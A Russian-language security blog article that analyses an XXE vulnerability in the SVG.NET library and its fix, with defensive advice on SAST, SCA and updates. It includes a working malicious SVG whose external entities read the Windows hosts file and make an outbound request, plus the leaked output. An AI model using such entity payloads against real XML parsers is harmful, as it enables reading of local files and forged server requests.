Почему моё приложение при открытии SVG-файла отправляет сетевые запросы?

Вы решили сделать приложение, работающее с SVG. Набрали библиотек, запаслись энтузиазмом, и в итоге всё удалось. Но вот незадача! Внезапно вы обнаруживаете, что приложение отправляет странные сетевые запросы. Кроме того, с хост-машины утекают данные. Как же так?

В современном мире на каждый случай жизни есть библиотека. Поэтому для своего приложения мы также не будем изобретать велосипед, а возьмём готовое решение. Например, SVG.NET. Исходный код проекта доступен на GitHub. Сама библиотека дистрибьютится как NuGet-пакет, что очень удобно в плане подключения к проекту. Кстати, на странице проекта в NuGet Gallery можно увидеть, что библиотеку загрузили 2.5 миллиона раз – впечатляет!

Рассмотрим синтетический пример описанного ранее приложения:

void ProcessSvg() {   using var svgStream = GetSvgFromUser();       var svgDoc = SvgDocument.Open<SvgDocument>(svgStream);        // SVG document processing...    SendSvgToUser(svgDoc); }

Суть проста:

1. Получаем от пользователя картинку. Как именно – не принципиально.
2. Создаётся экземпляр SvgDocument, с которым дальше осуществляются какие-то действия. Например, некоторые преобразования.
3. Изменённый объект отправляется обратно пользователю.

Реализация методов GetSvgFromUser и SendSvgToUser в данном случае не столь важна. Будем считать, что первый принимает картинку по сети, а второй отправляет её обратно.

Что скрывается за «SVG document processing…»? И вновь здесь нам это не важно, так что у нас… ничего не будет.

По факту мы просто загружаем картинку и сохраняем её обратно. Просто? Достаточно, чтобы начали происходить странные вещи. 🙂

Для экспериментов возьмём специально заготовленный SVG-файл. Внешне он выглядит как логотип анализатора PVS-Studio. Посмотрим на его отрисовку в браузере, чтобы убедиться, что всё с ним в порядке.

Никаких проблем нет. Отправляем в наше приложение. Оно никаких операций над изображением не проводит (напоминаю, что за комментарием в коде ничего не скрывается) и просто отправляет SVG нам обратно.

Открываем полученный файл и ожидаемо видим ту же картину.

Самое интересное произошло за кулисами (во время вызова метода SvgDocument.Open<T>).

Первое – приложение отправило незапланированный запрос к pvs-studio.com. Это можно было увидеть, например, отмониторив сетевую активность приложения.

Второе – пользователь приложения получил файл hosts с машины, на которой открывался SVG.

Как? Где этот файл? Давайте посмотрим на текстовое представление SVG-файла, полученного от приложения. Ненужные части сократим, чтобы не мешались.

<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE svg .... > <svg ....>   <style type="text/css">     ....   </style>   <polygon .... />   <polygon .... />   <polygon .... />   <polygon .... />   <polygon># Copyright (c) 1993-2009 Microsoft Corp. # # This is a sample HOSTS file used by Microsoft TCP/IP for Windows. # # This file contains the mappings of IP addresses to host names. Each # entry should be kept on an individual line. The IP address should # be placed in the first column followed by the corresponding host name. # The IP address and the host name should be separated by at least one # space. # # Additionally, comments (such as these) may be inserted on individual # lines or following the machine name denoted by a '#' symbol. # # For example: # #      102.54.94.97     rhino.acme.com          # source server #       38.25.63.10     x.acme.com              # x client host # # localhost name resolution is handled within DNS itself. #   127.0.0.1       localhost #   ::1             localhost # # A special comment indicating that XXE attack was performed successfully. #</polygon> </svg>

Вот и hosts файл с целевой машины – аккуратно спрятан в SVG-файле без каких-либо внешних проявлений.

Откуда там взялось содержимое hosts? Откуда дополнительный сетевой запрос? Что ж, давайте разбираться.

Разбираем атаку

Те, кто знаком с XXE-атакой, возможно, уже поняли, в чём дело. Если про XXE вы не слышали или подзабыли, что это такое – настоятельно рекомендую ознакомиться со статьёй «Уязвимости из-за обработки XML-файлов: XXE в C# приложениях в теории и на практике«. В ней я рассказываю о сути XXE, причинах и последствиях. Эта информация потребуется для понимания дальнейшего изложения.

Напомню, что для проведения XXE-атаки необходимы:

• данные от пользователя, которые могут быть скомпрометированы;
• небезопасно сконфигурированный XML-парсер.

Злоумышленнику также на руку будет, если ему в каком-то виде вернётся результат обработки скомпрометированных данных XML-парсером.

В данном случае «все звёзды совпали»:

• скомпрометированные данные – SVG файл, который пользователь отправляет в приложение;
• небезопасно сконфигурированный XML-парсер – есть, находится внутри библиотеки открытия SVG-файла;
• результат работы парсера возвращается обратно пользователю в виде «обработанного» SVG-файла.

Скомпрометированные данные

Первое, что нужно вспомнить – формат SVG основан на XML. Это даёт возможность определять в SVG-файлах XML-сущности, которые и нужны для проведения XXE.

Несмотря на то, что в браузере SVG-файл «подставной» выглядит обычным образом, внутри он содержит объявление двух сущностей:

<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE polygon [   <!ENTITY queryEntity SYSTEM "https://files.pvs-studio.com/rules/ccr.xml">   <!ENTITY hostsEntity SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts"> ]> <svg id="Layer_1"       data-name="Layer 1"       xmlns="http://www.w3.org/2000/svg"       viewBox="0 0 1967 1933.8">   <style type="text/css">     ....   </style>   ....   <polygon>&queryEntity;</polygon>   <polygon>&hostsEntity;</polygon> </svg>

Если XML-парсер работает с внешними сущностями, то:

• при обработке queryEntity он выполнит сетевой запрос к files.pvs-studio.com;
• при обработке hostsEntity вместо сущности он подставит содержимое файла hosts.

Получается своего рода SVG-ловушка: при отрисовке файл выглядит обычным, но внутри оказывается с подвохом.

Небезопасно сконфигурированный XML-парсер

Стоит помнить, что за использование внешних библиотек приходится платить свою цену. Если у вас уже был лист возможных негативных последствий, добавляйте к нему ещё одно – потенциальные дефекты безопасности.

Для создания экземпляра SvgDocument мы использовали метод Open<T>. Его исходный код выглядит так:

public static T Open<T>(Stream stream) where T : SvgDocument, new() {   return Open<T>(stream, null); }

Этот метод, в свою очередь, вызывает другую перегрузку:

public static T Open<T>(Stream stream, Dictionary<string, string> entities)    where T : SvgDocument, new() {   if (stream == null)   {     throw new ArgumentNullException("stream");   }    // Don't close the stream via a dispose: that is the client's job.   var reader = new SvgTextReader(stream, entities)   {     XmlResolver = new SvgDtdResolver(),     WhitespaceHandling = WhitespaceHandling.Significant,     DtdProcessing = SvgDocument.DisableDtdProcessing ? DtdProcessing.Ignore                                                       : DtdProcessing.Parse,   };   return Open<T>(reader); }

Забегая вперёд, хочется сказать, что в Open<T>(reader) происходит вычитка SVG-файла и создание экземпляра SvgDocument.

private static T Open<T>(XmlReader reader) where T : SvgDocument, new() {   ....   T svgDocument = null;   ....    while (reader.Read())   {     try     {       switch (reader.NodeType)       {         ....       }     }     catch (Exception exc)     {       ....     }   }   ....   return svgDocument; }

Конструкции while (reader.Read()) и switch (reader.NodeType) должны быть хорошо знакомы всем, кто работал с XmlReader. Так как это +- типовой код вычитки XML, останавливаться на нём не будем, а вернёмся к созданию XML-парсера.

var reader = new SvgTextReader(stream, entities) {   XmlResolver = new SvgDtdResolver(),   WhitespaceHandling = WhitespaceHandling.Significant,   DtdProcessing = SvgDocument.DisableDtdProcessing ? DtdProcessing.Ignore                                                     : DtdProcessing.Parse, };

Чтобы понять, является ли конфигурация парсера опасной, нужно уточнить следующие моменты:

• что из себя представляет экземпляр SvgDtdResolver;
• включена ли обработка DTD.

И тут я хочу в очередной раз сказать – славься Open Source! Несказанное удовольствие состоит в том, что есть возможность самому повозиться в коде и разобраться, что и как работает.

Начнём со свойства DtdProcessing, зависящего от SvgDocument.DisableDtdProcessing:

/// <summary> /// Skip the Dtd Processing for faster loading of /// svgs that have a DTD specified. /// For Example Adobe Illustrator svgs. /// </summary> public static bool DisableDtdProcessing { get; set; }

Статическое свойство, значение которого мы не изменяли. В конструкторе типа оно тоже не фигурирует, значение по умолчанию – false. Соответственно, DtdProcessing принимает значение DtdProcessing.Parse.

Переходим к свойству XmlResolver. Посмотрим, что из себя представляет тип SvgDtdResolver:

internal class SvgDtdResolver : XmlUrlResolver {   /// ....   public override object GetEntity(Uri absoluteUri,                                     string role,                                     Type ofObjectToReturn)   {     if (absoluteUri.ToString()                    .IndexOf("svg",                              StringComparison.InvariantCultureIgnoreCase) > -1)     {       return Assembly.GetExecutingAssembly()                      .GetManifestResourceStream("Svg.Resources.svg11.dtd");     }     else     {       return base.GetEntity(absoluteUri, role, ofObjectToReturn);     }   } }

По сути SvgDtdResolver – всё тот же XmlUrlResolver. Логика только немного отличается для случая, когда absoluteUri содержит подстроку «svg». А из статьи про XXE мы помним, что использование экземпляра XmlUrlResolver для обработки внешних сущностей чревато проблемами безопасности. Выходит, что с SvgDtdResolver та же ситуация.

Получаем выполнение всех необходимых условий:

• обработка DTD включена (свойство DtdProcessing имеет значение DtdProcessing.Parse);
• в парсере используется опасный резолвер (свойство XmlResolver ссылается на экземпляр небезопасного SvgDtdResolver).

Как следствие, созданный объект SvgTextReader является потенциально (а как убедились на практике – и реально) уязвимым к XXE-атаке.

Фикс проблемы

На странице проекта на GitHub по поводу этой проблемы был открыт issue – «Security: vulnerable to XXE attacks«. Через неделю – ещё один. Для каждого issue был сделан PR: первый, второй.

Если вкратце, фикс заключается в том, что по умолчанию выключили обработку внешних сущностей.

В первом PR добавили опцию ResolveExternalResources, которая отвечает за то, будет ли SvgDtdResolver обрабатывать внешние сущности. По умолчанию обработка выключена.

Во втором PR кода докинули побольше, а булев флаг заменили на перечисление. По умолчанию резолвинг внешних сущностей всё так же запрещён. Изменений в коде побольше, если интересно – посмотреть их можно здесь.

Если обновить пакет ‘Svg’ до безопасной версии, запустить в том же приложении и с теми же входными данными (то есть с подставным SVG-файлом), получим другие результаты.

Приложение больше не выполняет сетевых запросов, равно как и не «крадёт» файлы. Если посмотреть результирующий SVG-файл, можно заметить, что сущности просто ни во что не раскрылись:

<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE svg ...> <svg version="1.1"      ....>   <style type="text/css">     ....   </style>   ....   <polygon />   <polygon /> </svg>

Как обезопаситься?

Зависит от того, кто интересуется. 🙂

Как минимум неплохо хотя бы знать про XXE, чтобы быть внимательнее, когда дело доходит до работы с XML-файлами. Конечно, это не защитит от всех опасных случаев (будем честны – ничто не защитит), но даст какое-то осознание возможных последствий.

Помочь с поиском подобных проблем в коде могут SAST-решения. Вообще список того, что можно ловить с помощью SAST, достаточно большой, и XXE вполне в него попадает.

Немного иначе обстоит дело, если вы используете внешнюю библиотеку, а не работаете с исходниками. Например, как в случае с нашим приложением, когда библиотека работы с SVG была подключена в качестве NuGet-пакета. Здесь SAST уже не поможет, так как доступа к исходному коду библиотеки у инструмента нет. Хотя если статический анализатор работает с промежуточным кодом (IL, например), у него всё ещё есть возможность обнаружить проблему.

Тем не менее, для проверки зависимостей проектов используются отдельные инструменты – SCA-решения. О том, что такое SCA, почитать можно здесь. Цель таких инструментов – отслеживать использование зависимостей с известными уязвимостями и предупреждать об этом. Здесь, конечно, важную роль играет база этих самых уязвимых компонентов. Чем она больше, тем лучше.

И, естественно, не забывайте обновлять программные компоненты. Ведь кроме новых фич и баг-фиксов в новых версиях исправляются и дефекты безопасности. Например, в SVG.NET обозреваемый дефект безопасности был закрыт в релизе 3.3.0.

Заключение

Как-то я уже говорил, что XXE – довольно коварная штука. Рассмотренный сегодня экземпляр коварен вдвойне. Мало того, что он спрятался за обработкой SVG-файлов, так ещё и «проникал» в приложение через NuGet-пакет. Кто знает, сколько ещё уязвимостей прячется в разных компонентах и успешно эксплуатируется?

По доброй традиции приглашаю подписываться на меня в Twitter, чтобы не пропускать тематические публикации.

Если хотите поделиться этой статьей с англоязычной аудиторией, то прошу использовать ссылку на перевод: Sergey Vasiliev. Why does my app send network requests when I open an SVG file?.